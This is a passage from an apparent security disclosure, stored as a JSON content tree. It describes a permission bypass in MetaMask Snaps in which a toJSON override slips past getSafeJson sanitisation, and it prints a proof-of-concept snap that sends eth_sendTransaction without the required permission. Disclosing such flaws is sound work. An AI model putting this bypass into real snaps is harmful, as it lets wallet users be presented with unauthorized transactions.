this",{"type":24,"tag":147,"props":44556,"children":44557},{"style":235},[44558],{"type":29,"value":87},{"type":24,"tag":147,"props":44560,"children":44561},{"style":229},[44562],{"type":29,"value":44414},{"type":24,"tag":147,"props":44564,"children":44565},{"style":235},[44566],{"type":29,"value":37098},{"type":24,"tag":147,"props":44568,"children":44569},{"style":247},[44570],{"type":29,"value":37103},{"type":24,"tag":147,"props":44572,"children":44573},{"style":3534},[44574],{"type":29,"value":44575}," 'OutboundResponse'",{"type":24,"tag":147,"props":44577,"children":44578},{"style":235},[44579],{"type":29,"value":44432},{"type":24,"tag":147,"props":44581,"children":44582},{"class":149,"line":308},[44583],{"type":24,"tag":147,"props":44584,"children":44585},{"style":235},[44586],{"type":29,"value":18282},{"type":24,"tag":147,"props":44588,"children":44589},{"class":149,"line":317},[44590],{"type":24,"tag":147,"props":44591,"children":44592},{"style":235},[44593],{"type":29,"value":44594},"    };\n",{"type":24,"tag":25,"props":44596,"children":44597},{},[44598,44600,44605,44607,44612],{"type":29,"value":44599},"In particular, this function is from the ",{"type":24,"tag":80,"props":44601,"children":44603},{"className":44602},[],[44604],{"type":29,"value":43775},{"type":29,"value":44606}," provider, but the only thing that changes between this and ",{"type":24,"tag":80,"props":44608,"children":44610},{"className":44609},[],[44611],{"type":29,"value":37017},{"type":29,"value":44613}," is the assert function in the first line.",{"type":24,"tag":25,"props":44615,"children":44616},{},[44617],{"type":29,"value":44618},"As we can see in the code, the execution flow follows this pattern:",{"type":24,"tag":2674,"props":44620,"children":44621},{},[44622,44634,44639],{"type":24,"tag":2678,"props":44623,"children":44624},{},[44625,44627,44632],{"type":29,"value":44626},"Assert if ",{"type":24,"tag":80,"props":44628,"children":44630},{"className":44629},[],[44631],{"type":29,"value":43825},{"type":29,"value":44633}," are valid",{"type":24,"tag":2678,"props":44635,"children":44636},{},[44637],{"type":29,"value":44638},"getSafeJson to get sanitizedArgs",{"type":24,"tag":2678,"props":44640,"children":44641},{},[44642],{"type":29,"value":44643},"originalRequest(sanitizedArgs)",{"type":24,"tag":25,"props":44645,"children":44646},{},[44647,44649,44655],{"type":29,"value":44648},"Obs: ",{"type":24,"tag":80,"props":44650,"children":44652},{"className":44651},[],[44653],{"type":29,"value":44654},"originalRequest",{"type":29,"value":44656}," makes the RPC call to metamask service worker",{"type":24,"tag":43,"props":44658,"children":44660},{"id":44659},"safe-json-exploit",[44661],{"type":29,"value":44662},"Safe JSON Exploit",{"type":24,"tag":25,"props":44664,"children":44665},{},[44666,44668,44674,44676,44681,44683,44689],{"type":29,"value":44667},"As we dug further into the",{"type":24,"tag":80,"props":44669,"children":44671},{"className":44670},[],[44672],{"type":29,"value":44673},"getSafeJson",{"type":29,"value":44675}," function (defined in ",{"type":24,"tag":80,"props":44677,"children":44679},{"className":44678},[],[44680],{"type":29,"value":42895},{"type":29,"value":44682}," package) we discovered the following ",{"type":24,"tag":2773,"props":44684,"children":44687},{"href":44685,"rel":44686},"https://github.com/MetaMask/utils/blob/7f0116d4d853d85319d200c503a2f9abc390f1d3/src/json.ts#L72",[2777],[44688],{"type":29,"value":80},{"type":29,"value":978},{"type":24,"tag":137,"props":44691,"children":44693},{"className":41214,"code":44692,"language":41216,"meta":7,"style":7},"export const JsonStruct = coerce(UnsafeJsonStruct, any(), (value) => {\n  assertStruct(value, UnsafeJsonStruct);\n  return JSON.parse(\n    JSON.stringify(value, (propKey, propValue) => {\n      // Strip __proto__ and constructor properties to prevent prototype pollution.\n      if (propKey === '__proto__' || propKey === 'constructor') {\n        return undefined;\n      }\n      return propValue;\n    }),\n  );\n});\n",[44694],{"type":24,"tag":80,"props":44695,"children":44696},{"__ignoreMap":7},[44697,44761,44788,44813,44868,44876,44923,44939,44946,44962,44969,44976],{"type":24,"tag":147,"props":44698,"children":44699},{"class":149,"line":150},[44700,44704,44709,44714,44718,44723,44727,44732,44736,44740,44745,44749,44753,44757],{"type":24,"tag":147,"props":44701,"children":44702},{"style":321},[44703],{"type":29,"value":43806},{"type":24,"tag":147,"props":44705,"children":44706},{"style":218},[44707],{"type":29,"value":44708}," const",{"type":24,"tag":147,"props":44710,"children":44711},{"style":247},[44712],{"type":29,"value":44713}," JsonStruct",{"type":24,"tag":147,"props":44715,"children":44716},{"style":241},[44717],{"type":29,"value":651},{"type":24,"tag":147,"props":44719,"children":44720},{"style":229},[44721],{"type":29,"value":44722}," coerce",{"type":24,"tag":147,"props":44724,"children":44725},{"style":235},[44726],{"type":29,"value":480},{"type":24,"tag":147,"props":44728,"children":44729},{"style":247},[44730],{"type":29,"value":44731},"UnsafeJsonStruct",{"type":24,"tag":147,"props":44733,"children":44734},{"style":235},[44735],{"type":29,"value":546},{"type":24,"tag":147,"props":44737,"children":44738},{"style":229},[44739],{"type":29,"value":22319},{"type":24,"tag":147,"props":44741,"children":44742},{"style":235},[44743],{"type":29,"value":44744},"(), (",{"type":24,"tag":147,"props":44746,"children":44747},{"style":247},[44748],{"type":29,"value":5037},{"type":24,"tag":147,"props":44750,"children":44751},{"style":235},[44752],{"type":29,"value":564},{"type":24,"tag":147,"props":44754,"children":44755},{"style":218},[44756],{"type":29,"value":20435},{"type":24,"tag":147,"props":44758,"children":44759},{"style":235},[44760],{"type":29,"value":6630},{"type":24,"tag":147,"props":44762,"children":44763},{"class":149,"line":160},[44764,44768,44772,44776,44780,44784],{"type":24,"tag":147,"props":44765,"children":44766},{"style":229},[44767],{"type":29,"value":44157},{"type":24,"tag":147,"props":44769,"children":44770},{"style":235},[44771],{"type":29,"value":480},{"type":24,"tag":147,"props":44773,"children":44774},{"style":247},[44775],{"type":29,"value":5037},{"type":24,"tag":147,"props":44777,"children":44778},{"style":235},[44779],{"type":29,"value":546},{"type":24,"tag":147,"props":44781,"children":44782},{"style":247},[44783],{"type":29,"value":44731},{"type":24,"tag":147,"props":44785,"children":44786},{"style":235},[44787],{"type":29,"value":1473},{"type":24,"tag":147,"props":44789,"children":44790},{"class":149,"line":169},[44791,44796,44800,44804,44809],{"type":24,"tag":147,"props":44792,"children":44793},{"style":321},[44794],{"type":29,"value":44795},"  return",{"type":24,"tag":147,"props":44797,"children":44798},{"style":247},[44799],{"type":29,"value":43126},{"type":24,"tag":147,"props":44801,"children":44802},{"style":235},[44803],{"type":29,"value":87},{"type":24,"tag":147,"props":44805,"children":44806},{"style":229},[44807],{"type":29,"value":44808},"parse",{"type":24,"tag":147,"props":44810,"children":44811},{"style":235},[44812],{"type":29,"value":9088},{"type":24,"tag":147,"props":44814,"children":44815},{"class":149,"line":178},[44816,44821,44825,44830,44834,44838,44842,44847,44851,44856,44860,44864],{"type":24,"tag":147,"props":44817,"children":44818},{"style":247},[44819],{"type":29,"value":44820},"    JSON",{"type":24,"tag":147,"props":44822,"children":44823},{"style":235},[44824],{"type":29,"value":87},{"type":24,"tag":147,"props":44826,"children":44827},{"style":229},[44828],{"type":29,"value":44829},"stringify",{"type":24,"tag":147,"props":44831,"children":44832},{"style":235},[44833],{"type":29,"value":480},{"type":24,"tag":147,"props":44835,"children":44836},{"style":247},[44837],{"type":29,"value":5037},{"type":24,"tag":147,"props":44839,"children":44840},{"style":235},[44841],{"type":29,"value":14444},{"type":24,"tag":147,"props":44843,"children":44844},{"style":247},[44845],{"type":29,"value":44846},"propKey",{"type":24,"tag":147,"props":44848,"children":44849},{"style":235},[44850],{"type":29,"value":546},{"type":24,"tag":147,"props":44852,"children":44853},{"style":247},[44854],{"type":29,"value":44855},"propValue",{"type":24,"tag":147,"props":44857,"children":44858},{"style":235},[44859],{"type":29,"value":564},{"type":24,"tag":147,"props":44861,"children":44862},{"style":218},[44863],{"type":29,"value":20435},{"type":24,"tag":147,"props":44865,"children":44866},{"style":235},[44867],{"type":29,"value":6630},{"type":24,"tag":147,"props":44869,"children":44870},{"class":149,"line":187},[44871],{"type":24,"tag":147,"props":44872,"children":44873},{"style":154},[44874],{"type":29,"value":44875},"      // Strip __proto__ and constructor properties to prevent prototype pollution.\n",{"type":24,"tag":147,"props":44877,"children":44878},{"class":149,"line":196},[44879,44884,44888,44892,44896,44901,44905,44910,44914,44919],{"type":24,"tag":147,"props":44880,"children":44881},{"style":321},[44882],{"type":29,"value":44883},"      if",{"type":24,"tag":147,"props":44885,"children":44886},{"style":235},[44887],{"type":29,"value":408},{"type":24,"tag":147,"props":44889,"children":44890},{"style":247},[44891],{"type":29,"value":44846},{"type":24,"tag":147,"props":44893,"children":44894},{"style":241},[44895],{"type":29,"value":37022},{"type":24,"tag":147,"props":44897,"children":44898},{"style":3534},[44899],{"type":29,"value":44900}," '__proto__'",{"type":24,"tag":147,"props":44902,"children":44903},{"style":241},[44904],{"type":29,"value":29300},{"type":24,"tag":147,"props":44906,"children":44907},{"style":247},[44908],{"type":29,"value":44909}," propKey",{"type":24,"tag":147,"props":44911,"children":44912},{"style":241},[44913],{"type":29,"value":37022},{"type":24,"tag":147,"props":44915,"children":44916},{"style":3534},[44917],{"type":29,"value":44918}," 'constructor'",{"type":24,"tag":147,"props":44920,"children":44921},{"style":235},[44922],{"type":29,"value":505},{"type":24,"tag":147,"props":44924,"children":44925},{"class":149,"line":205},[44926,44930,44935],{"type":24,"tag":147,"props":44927,"children":44928},{"style":321},[44929],{"type":29,"value":7020},{"type":24,"tag":147,"props":44931,"children":44932},{"style":218},[44933],{"type":29,"value":44934}," undefined",{"type":24,"tag":147,"props":44936,"children":44937},{"style":235},[44938],{"type":29,"value":432},{"type":24,"tag":147,"props":44940,"children":44941},{"class":149,"line":214},[44942],{"type":24,"tag":147,"props":44943,"children":44944},{"style":235},[44945],{"type":29,"value":18282},{"type":24,"tag":147,"props":44947,"children":44948},{"class":149,"line":272},[44949,44953,44958],{"type":24,"tag":147,"props":44950,"children":44951},{"style":321},[44952],{"type":29,"value":3966},{"type":24,"tag":147,"props":44954,"children":44955},{"style":247},[44956],{"type":29,"value":44957}," propValue",{"type":24,"tag":147,"props":44959,"children":44960},{"style":235},[44961],{"type":29,"value":432},{"type":24,"tag":147,"props":44963,"children":44964},{"class":149,"line":281},[44965],{"type":24,"tag":147,"props":44966,"children":44967},{"style":235},[44968],{"type":29,"value":44142},{"type":24,"tag":147,"props":44970,"children":44971},{"class":149,"line":299},[44972],{"type":24,"tag":147,"props":44973,"children":44974},{"style":235},[44975],{"type":29,"value":44009},{"type":24,"tag":147,"props":44977,"children":44978},{"class":149,"line":308},[44979],{"type":24,"tag":147,"props":44980,"children":44981},{"style":235},[44982],{"type":29,"value":40938},{"type":24,"tag":25,"props":44984,"children":44985},{},[44986,44988,44994,44996,45001,45003,45009,45011,45017],{"type":29,"value":44987},"The function performs a ",{"type":24,"tag":80,"props":44989,"children":44991},{"className":44990},[],[44992],{"type":29,"value":44993},"JSON.parse(JSON.stringify(value))",{"type":29,"value":44995}," in the argument sent to ",{"type":24,"tag":80,"props":44997,"children":44999},{"className":44998},[],[45000],{"type":29,"value":44673},{"type":29,"value":45002},". This specific function is how we found a way to exploit the assertion limitations. The bypass is made by setting a ",{"type":24,"tag":80,"props":45004,"children":45006},{"className":45005},[],[45007],{"type":29,"value":45008},"toJSON",{"type":29,"value":45010}," function in a legit ",{"type":24,"tag":80,"props":45012,"children":45014},{"className":45013},[],[45015],{"type":29,"value":45016},"snap.request",{"type":29,"value":45018}," argument:",{"type":24,"tag":2674,"props":45020,"children":45021},{},[45022,45027,45032],{"type":24,"tag":2678,"props":45023,"children":45024},{},[45025],{"type":29,"value":45026},"assertSnapOutboundRequest(args) -> pass the assertion",{"type":24,"tag":2678,"props":45028,"children":45029},{},[45030],{"type":29,"value":45031},"sanitizedArgs = getSafeJson(args) -> toJSON returns a malicious object",{"type":24,"tag":2678,"props":45033,"children":45034},{},[45035],{"type":29,"value":45036},"originalRequest(sanitizedArgs) -> forwards the malicious object",{"type":24,"tag":25,"props":45038,"children":45039},{},[45040],{"type":29,"value":45041},"The assertion bypass can be useful on two occasions:",{"type":24,"tag":2674,"props":45043,"children":45044},{},[45045,45050],{"type":24,"tag":2678,"props":45046,"children":45047},{},[45048],{"type":29,"value":45049},"forward blocked RPC methods",{"type":24,"tag":2678,"props":45051,"children":45052},{},[45053,45055,45060,45062,45068,45070,45075],{"type":29,"value":45054},"Making requests in ",{"type":24,"tag":80,"props":45056,"children":45058},{"className":45057},[],[45059],{"type":29,"value":45016},{"type":29,"value":45061}," that were only supposed to be done within ",{"type":24,"tag":80,"props":45063,"children":45065},{"className":45064},[],[45066],{"type":29,"value":45067},"ethereum.request",{"type":29,"value":45069}," (with ",{"type":24,"tag":80,"props":45071,"children":45073},{"className":45072},[],[45074],{"type":29,"value":44246},{"type":29,"value":45076}," enabled).",{"type":24,"tag":25,"props":45078,"children":45079},{},[45080],{"type":29,"value":45081},"This particular vulnerability allows the snap to perform ethereum requests without permissions.",{"type":24,"tag":43,"props":45083,"children":45084},{"id":11286},[45085],{"type":29,"value":11289},{"type":24,"tag":25,"props":45087,"children":45088},{},[45089],{"type":29,"value":45090},"The bypass we described may be used to mislead the allowed permissions of the snap. This can cause the snap installation confirmation popup not to display the actual permissions of the snap. This exploit allows the snap to unexpectedly propose malicious transactions to the user, which shouldn't be possible, even with permissions according to the documentation.",{"type":24,"tag":25,"props":45092,"children":45093},{},[45094],{"type":24,"tag":63,"props":45095,"children":45097},{"alt":7,"src":45096},"/posts/metamask-snaps/note.png",[],{"type":24,"tag":43,"props":45099,"children":45101},{"id":45100},"proof-of-concept",[45102],{"type":29,"value":40430},{"type":24,"tag":25,"props":45104,"children":45105},{},[45106,45108,45113,45115,45120,45122,45128],{"type":29,"value":45107},"To demonstrate the issue, we created a snap without the ",{"type":24,"tag":80,"props":45109,"children":45111},{"className":45110},[],[45112],{"type":29,"value":44246},{"type":29,"value":45114}," permission, and used the ",{"type":24,"tag":80,"props":45116,"children":45118},{"className":45117},[],[45119],{"type":29,"value":43775},{"type":29,"value":45121}," interface to call ",{"type":24,"tag":80,"props":45123,"children":45125},{"className":45124},[],[45126],{"type":29,"value":45127},"eth_sendTransaction",{"type":29,"value":45129},". According to the documentation, this shouldn't be possible:",{"type":24,"tag":137,"props":45131,"children":45133},{"className":41214,"code":45132,"language":41216,"meta":7,"style":7},"import { OnRpcRequestHandler } from '@metamask/snaps-types';\n\n\nfunction jsonExploit(){\n  let x = [] as any\n\n  x.method = \"snap_dialog\"\n\n  x.toJSON = () => {\n    return {\n      method: \"eth_requestAccounts\",\n      params: []\n    }\n  }\n\n  return snap.request(x)\n\n}\n\nfunction transactionExploit(){\n  let x = [] as any\n\n  x.method = \"snap_dialog\"\n\n  x.toJSON = () => {\n    return {\n      method: \"eth_sendTransaction\",\n      params: [{\n        from: \"0xcf26B767586cC5fCF8737dD3FA57de164aF4248d\", // change this to your address\n        to: \"0xcf26B767586cC5fCF8737dD3FA57de164aF4248d\",\n        value: \"0x1\",\n      }]\n    }\n  }\n\n  return snap.request(x);\n}\n\nexport const onRpcRequest: OnRpcRequestHandler = ({ origin, request }) => {\n\n  switch (request.method) {\n    case 'json':\n      return jsonExploit();\n    case 'transaction':\n      return transactionExploit();\n    default:\n      throw new Error('Method not found.');\n  }\n};\n",[45134],{"type":24,"tag":80,"props":45135,"children":45136},{"__ignoreMap":7},[45137,45170,45177,45184,45201,45230,45237,45262,45269,45301,45312,45329,45342,45349,45356,45363,45395,45402,45409,45416,45432,45459,45466,45489,45496,45527,45538,45554,45566,45587,45602,45619,45627,45634,45641,45648,45679,45686,45693,45753,45760,45788,45805,45820,45836,45851,45863,45893,45900],{"type":24,"tag":147,"props":45138,"children":45139},{"class":149,"line":150},[45140,45144,45148,45153,45157,45161,45166],{"type":24,"tag":147,"props":45141,"children":45142},{"style":321},[45143],{"type":29,"value":25088},{"type":24,"tag":147,"props":45145,"children":45146},{"style":235},[45147],{"type":29,"value":15207},{"type":24,"tag":147,"props":45149,"children":45150},{"style":247},[45151],{"type":29,"value":45152},"OnRpcRequestHandler",{"type":24,"tag":147,"props":45154,"children":45155},{"style":235},[45156],{"type":29,"value":41803},{"type":24,"tag":147,"props":45158,"children":45159},{"style":321},[45160],{"type":29,"value":25078},{"type":24,"tag":147,"props":45162,"children":45163},{"style":3534},[45164],{"type":29,"value":45165}," '@metamask/snaps-types'",{"type":24,"tag":147,"props":45167,"children":45168},{"style":235},[45169],{"type":29,"value":432},{"type":24,"tag":147,"props":45171,"children":45172},{"class":149,"line":160},[45173],{"type":24,"tag":147,"props":45174,"children":45175},{"emptyLinePlaceholder":16},[45176],{"type":29,"value":314},{"type":24,"tag":147,"props":45178,"children":45179},{"class":149,"line":169},[45180],{"type":24,"tag":147,"props":45181,"children":45182},{"emptyLinePlaceholder":16},[45183],{"type":29,"value":314},{"type":24,"tag":147,"props":45185,"children":45186},{"class":149,"line":178},[45187,45191,45196],{"type":24,"tag":147,"props":45188,"children":45189},{"style":218},[45190],{"type":29,"value":36978},{"type":24,"tag":147,"props":45192,"children":45193},{"style":229},[45194],{"type":29,"value":45195}," jsonExploit",{"type":24,"tag":147,"props":45197,"children":45198},{"style":235},[45199],{"type":29,"value":45200},"(){\n",{"type":24,"tag":147,"props":45202,"children":45203},{"class":149,"line":187},[45204,45208,45212,45216,45221,45225],{"type":24,"tag":147,"props":45205,"children":45206},{"style":218},[45207],{"type":29,"value":13481},{"type":24,"tag":147,"props":45209,"children":45210},{"style":247},[45211],{"type":29,"value":24670},{"type":24,"tag":147,"props":45213,"children":45214},{"style":241},[45215],{"type":29,"value":651},{"type":24,"tag":147,"props":45217,"children":45218},{"style":235},[45219],{"type":29,"value":45220}," [] ",{"type":24,"tag":147,"props":45222,"children":45223},{"style":321},[45224],{"type":29,"value":14467},{"type":24,"tag":147,"props":45226,"children":45227},{"style":9044},[45228],{"type":29,"value":45229}," any\n",{"type":24,"tag":147,"props":45231,"children":45232},{"class":149,"line":196},[45233],{"type":24,"tag":147,"props":45234,"children":45235},{"emptyLinePlaceholder":16},[45236],{"type":29,"value":314},{"type":24,"tag":147,"props":45238,"children":45239},{"class":149,"line":205},[45240,45245,45249,45253,45257],{"type":24,"tag":147,"props":45241,"children":45242},{"style":247},[45243],{"type":29,"value":45244},"  x",{"type":24,"tag":147,"props":45246,"children":45247},{"style":235},[45248],{"type":29,"value":87},{"type":24,"tag":147,"props":45250,"children":45251},{"style":247},[45252],{"type":29,"value":43910},{"type":24,"tag":147,"props":45254,"children":45255},{"style":241},[45256],{"type":29,"value":651},{"type":24,"tag":147,"props":45258,"children":45259},{"style":3534},[45260],{"type":29,"value":45261}," \"snap_dialog\"\n",{"type":24,"tag":147,"props":45263,"children":45264},{"class":149,"line":214},[45265],{"type":24,"tag":147,"props":45266,"children":45267},{"emptyLinePlaceholder":16},[45268],{"type":29,"value":314},{"type":24,"tag":147,"props":45270,"children":45271},{"class":149,"line":272},[45272,45276,45280,45284,45288,45293,45297],{"type":24,"tag":147,"props":45273,"children":45274},{"style":247},[45275],{"type":29,"value":45244},{"type":24,"tag":147,"props":45277,"children":45278},{"style":235},[45279],{"type":29,"value":87},{"type":24,"tag":147,"props":45281,"children":45282},{"style":229},[45283],{"type":29,"value":45008},{"type":24,"tag":147,"props":45285,"children":45286},{"style":241},[45287],{"type":29,"value":651},{"type":24,"tag":147,"props":45289,"children":45290},{"style":235},[45291],{"type":29,"value":45292}," () ",{"type":24,"tag":147,"props":45294,"children":45295},{"style":218},[45296],{"type":29,"value":20435},{"type":24,"tag":147,"props":45298,"children":45299},{"style":235},[45300],{"type":29,"value":6630},{"type":24,"tag":147,"props":45302,"children":45303},{"class":149,"line":281},[45304,45308],{"type":24,"tag":147,"props":45305,"children":45306},{"style":321},[45307],{"type":29,"value":2597},{"type":24,"tag":147,"props":45309,"children":45310},{"style":235},[45311],{"type":29,"value":6630},{"type":24,"tag":147,"props":45313,"children":45314},{"class":149,"line":299},[45315,45320,45325],{"type":24,"tag":147,"props":45316,"children":45317},{"style":247},[45318],{"type":29,"value":45319},"      method:",{"type":24,"tag":147,"props":45321,"children":45322},{"style":3534},[45323],{"type":29,"value":45324}," \"eth_requestAccounts\"",{"type":24,"tag":147,"props":45326,"children":45327},{"style":235},[45328],{"type":29,"value":1549},{"type":24,"tag":147,"props":45330,"children":45331},{"class":149,"line":308},[45332,45337],{"type":24,"tag":147,"props":45333,"children":45334},{"style":247},[45335],{"type":29,"value":45336},"      params:",{"type":24,"tag":147,"props":45338,"children":45339},{"style":235},[45340],{"type":29,"value":45341}," []\n",{"type":24,"tag":147,"props":45343,"children":45344},{"class":149,"line":317},[45345],{"type":24,"tag":147,"props":45346,"children":45347},{"style":235},[45348],{"type":29,"value":1952},{"type":24,"tag":147,"props":45350,"children":45351},{"class":149,"line":332},[45352],{"type":24,"tag":147,"props":45353,"children":45354},{"style":235},[45355],{"type":29,"value":11496},{"type":24,"tag":147,"props":45357,"children":45358},{"class":149,"line":350},[45359],{"type":24,"tag":147,"props":45360,"children":45361},{"emptyLinePlaceholder":16},[45362],{"type":29,"value":314},{"type":24,"tag":147,"props":45364,"children":45365},{"class":149,"line":358},[45366,45370,45375,45379,45383,45387,45391],{"type":24,"tag":147,"props":45367,"children":45368},{"style":321},[45369],{"type":29,"value":44795},{"type":24,"tag":147,"props":45371,"children":45372},{"style":247},[45373],{"type":29,"value":45374}," snap",{"type":24,"tag":147,"props":45376,"children":45377},{"style":235},[45378],{"type":29,"value":87},{"type":24,"tag":147,"props":45380,"children":45381},{"style":229},[45382],{"type":29,"value":37093},{"type":24,"tag":147,"props":45384,"children":45385},{"style":235},[45386],{"type":29,"value":480},{"type":24,"tag":147,"props":45388,"children":45389},{"style":247},[45390],{"type":29,"value":24880},{"type":24,"tag":147,"props":45392,"children":45393},{"style":235},[45394],{"type":29,"value":269},{"type":24,"tag":147,"props":45396,"children":45397},{"class":149,"line":397},[45398],{"type":24,"tag":147,"props":45399,"children":45400},{"emptyLinePlaceholder":16},[45401],{"type":29,"value":314},{"type":24,"tag":147,"props":45403,"children":45404},{"class":149,"line":421},[45405],{"type":24,"tag":147,"props":45406,"children":45407},{"style":235},[45408],{"type":29,"value":827},{"type":24,"tag":147,"props":45410,"children":45411},{"class":149,"line":435},[45412],{"type":24,"tag":147,"props":45413,"children":45414},{"emptyLinePlaceholder":16},[45415],{"type":29,"value":314},{"type":24,"tag":147,"props":45417,"children":45418},{"class":149,"line":444},[45419,45423,45428],{"type":24,"tag":147,"props":45420,"children":45421},{"style":218},[45422],{"type":29,"value":36978},{"type":24,"tag":147,"props":45424,"children":45425},{"style":229},[45426],{"type":29,"value":45427}," transactionExploit",{"type":24,"tag":147,"props":45429,"children":45430},{"style":235},[45431],{"type":29,"value":45200},{"type":24,"tag":147,"props":45433,"children":45434},{"class":149,"line":452},[45435,45439,45443,45447,45451,45455],{"type":24,"tag":147,"props":45436,"children":45437},{"style":218},[45438],{"type":29,"value":13481},{"type":24,"tag":147,"props":45440,"children":45441},{"style":247},[45442],{"type":29,"value":24670},{"type":24,"tag":147,"props":45444,"children":45445},{"style":241},[45446],{"type":29,"value":651},{"type":24,"tag":147,"props":45448,"children":45449},{"style":235},[45450],{"type":29,"value":45220},{"type":24,"tag":147,"props":45452,"children":45453},{"style":321},[45454],{"type":29,"value":14467},{"type":24,"tag":147,"props":45456,"children":45457},{"style":9044},[45458],{"type":29,"value":45229},{"type":24,"tag":147,"props":45460,"children":45461},{"class":149,"line":461},[45462],{"type":24,"tag":147,"props":45463,"children":45464},{"emptyLinePlaceholder":16},[45465],{"type":29,"value":314},{"type":24,"tag":147,"props":45467,"children":45468},{"class":149,"line":469},[45469,45473,45477,45481,45485],{"type":24,"tag":147,"props":45470,"children":45471},{"style":247},[45472],{"type":29,"value":45244},{"type":24,"tag":147,"props":45474,"children":45475},{"style":235},[45476],{"type":29,"value":87},{"type":24,"tag":147,"props":45478,"children":45479},{"style":247},[45480],{"type":29,"value":43910},{"type":24,"tag":147,"props":45482,"children":45483},{"style":241},[45484],{"type":29,"value":651},{"type":24,"tag":147,"props":45486,"children":45487},{"style":3534},[45488],{"type":29,"value":45261},{"type":24,"tag":147,"props":45490,"children":45491},{"class":149,"line":508},[45492],{"type":24,"tag":147,"props":45493,"children":45494},{"emptyLinePlaceholder":16},[45495],{"type":29,"value":314},{"type":24,"tag":147,"props":45497,"children":45498},{"class":149,"line":572},[45499,45503,45507,45511,45515,45519,45523],{"type":24,"tag":147,"props":45500,"children":45501},{"style":247},[45502],{"type":29,"value":45244},{"type":24,"tag":147,"props":45504,"children":45505},{"style":235},[45506],{"type":29,"value":87},{"type":24,"tag":147,"props":45508,"children":45509},{"style":229},[45510],{"type":29,"value":45008},{"type":24,"tag":147,"props":45512,"children":45513},{"style":241},[45514],{"type":29,"value":651},{"type":24,"tag":147,"props":45516,"children":45517},{"style":235},[45518],{"type":29,"value":45292},{"type":24,"tag":147,"props":45520,"children":45521},{"style":218},[45522],{"type":29,"value":20435},{"type":24,"tag":147,"props":45524,"children":45525},{"style":235},[45526],{"type":29,"value":6630},{"type":24,"tag":147,"props":45528,"children":45529},{"class":149,"line":591},[45530,45534],{"type":24,"tag":147,"props":45531,"children":45532},{"style":321},[45533],{"type":29,"value":2597},{"type":24,"tag":147,"props":45535,"children":45536},{"style":235},[45537],{"type":29,"value":6630},{"type":24,"tag":147,"props":45539,"children":45540},{"class":149,"line":632},[45541,45545,45550],{"type":24,"tag":147,"props":45542,"children":45543},{"style":247},[45544],{"type":29,"value":45319},{"type":24,"tag":147,"props":45546,"children":45547},{"style":3534},[45548],{"type":29,"value":45549}," \"eth_sendTransaction\"",{"type":24,"tag":147,"props":45551,"children":45552},{"style":235},[45553],{"type":29,"value":1549},{"type":24,"tag":147,"props":45555,"children":45556},{"class":149,"line":659},[45557,45561],{"type":24,"tag":147,"props":45558,"children":45559},{"style":247},[45560],{"type":29,"value":45336},{"type":24,"tag":147,"props":45562,"children":45563},{"style":235},[45564],{"type":29,"value":45565}," [{\n",{"type":24,"tag":147,"props":45567,"children":45568},{"class":149,"line":684},[45569,45573,45578,45582],{"type":24,"tag":147,"props":45570,"children":45571},{"style":247},[45572],{"type":29,"value":37665},{"type":24,"tag":147,"props":45574,"children":45575},{"style":3534},[45576],{"type":29,"value":45577}," \"0xcf26B767586cC5fCF8737dD3FA57de164aF4248d\"",{"type":24,"tag":147,"props":45579,"children":45580},{"style":235},[45581],{"type":29,"value":546},{"type":24,"tag":147,"props":45583,"children":45584},{"style":154},[45585],{"type":29,"value":45586},"// change this to your address\n",{"type":24,"tag":147,"props":45588,"children":45589},{"class":149,"line":715},[45590,45594,45598],{"type":24,"tag":147,"props":45591,"children":45592},{"style":247},[45593],{"type":29,"value":37681},{"type":24,"tag":147,"props":45595,"children":45596},{"style":3534},[45597],{"type":29,"value":45577},{"type":24,"tag":147,"props":45599,"children":45600},{"style":235},[45601],{"type":29,"value":1549},{"type":24,"tag":147,"props":45603,"children":45604},{"class":149,"line":744},[45605,45610,45615],{"type":24,"tag":147,"props":45606,"children":45607},{"style":247},[45608],{"type":29,"value":45609},"        value:",{"type":24,"tag":147,"props":45611,"children":45612},{"style":3534},[45613],{"type":29,"value":45614}," \"0x1\"",{"type":24,"tag":147,"props":45616,"children":45617},{"style":235},[45618],{"type":29,"value":1549},{"type":24,"tag":147,"props":45620,"children":45621},{"class":149,"line":784},[45622],{"type":24,"tag":147,"props":45623,"children":45624},{"style":235},[45625],{"type":29,"value":45626},"      }]\n",{"type":24,"tag":147,"props":45628,"children":45629},{"class":149,"line":792},[45630],{"type":24,"tag":147,"props":45631,"children":45632},{"style":235},[45633],{"type":29,"value":1952},{"type":24,"tag":147,"props":45635,"children":45636},{"class":149,"line":805},[45637],{"type":24,"tag":147,"props":45638,"children":45639},{"style":235},[45640],{"type":29,"value":11496},{"type":24,"tag":147,"props":45642,"children":45643},{"class":149,"line":813},[45644],{"type":24,"tag":147,"props":45645,"children":45646},{"emptyLinePlaceholder":16},[45647],{"type":29,"value":314},{"type":24,"tag":147,"props":45649,"children":45650},{"class":149,"line":821},[45651,45655,45659,45663,45667,45671,45675],{"type":24,"tag":147,"props":45652,"children":45653},{"style":321},[45654],{"type":29,"value":44795},{"type":24,"tag":147,"props":45656,"children":45657},{"style":247},[45658],{"type":29,"value":45374},{"type":24,"tag":147,"props":45660,"children":45661},{"style":235},[45662],{"type":29,"value":87},{"type":24,"tag":147,"props":45664,"children":45665},{"style":229},[45666],{"type":29,"value":37093},{"type":24,"tag":147,"props":45668,"children":45669},{"style":235},[45670],{"type":29,"value":480},{"type":24,"tag":147,"props":45672,"children":45673},{"style":247},[45674],{"type":29,"value":24880},{"type":24,"tag":147,"props":45676,"children":45677},{"style":235},[45678],{"type":29,"value":1473},{"type":24,"tag":147,"props":45680,"children":45681},{"class":149,"line":1902},[45682],{"type":24,"tag":147,"props":45683,"children":45684},{"style":235},[45685],{"type":29,"value":827},{"type":24,"tag":147,"props":45687,"children":45688},{"class":149,"line":1920},[45689],{"type":24,"tag":147,"props":45690,"children":45691},{"emptyLinePlaceholder":16},[45692],{"type":29,"value":314},{"type":24,"tag":147,"props":45694,"children":45695},{"class":149,"line":1929},[45696,45700,45704,45709,45713,45718,45722,45727,45732,45736,45740,45745,45749],{"type":24,"tag":147,"props":45697,"children":45698},{"style":321},[45699],{"type":29,"value":43806},{"type":24,"tag":147,"props":45701,"children":45702},{"style":218},[45703],{"type":29,"value":44708},{"type":24,"tag":147,"props":45705,"children":45706},{"style":229},[45707],{"type":29,"value":45708}," onRpcRequest",{"type":24,"tag":147,"props":45710,"children":45711},{"style":241},[45712],{"type":29,"value":978},{"type":24,"tag":147,"props":45714,"children":45715},{"style":9044},[45716],{"type":29,"value":45717}," 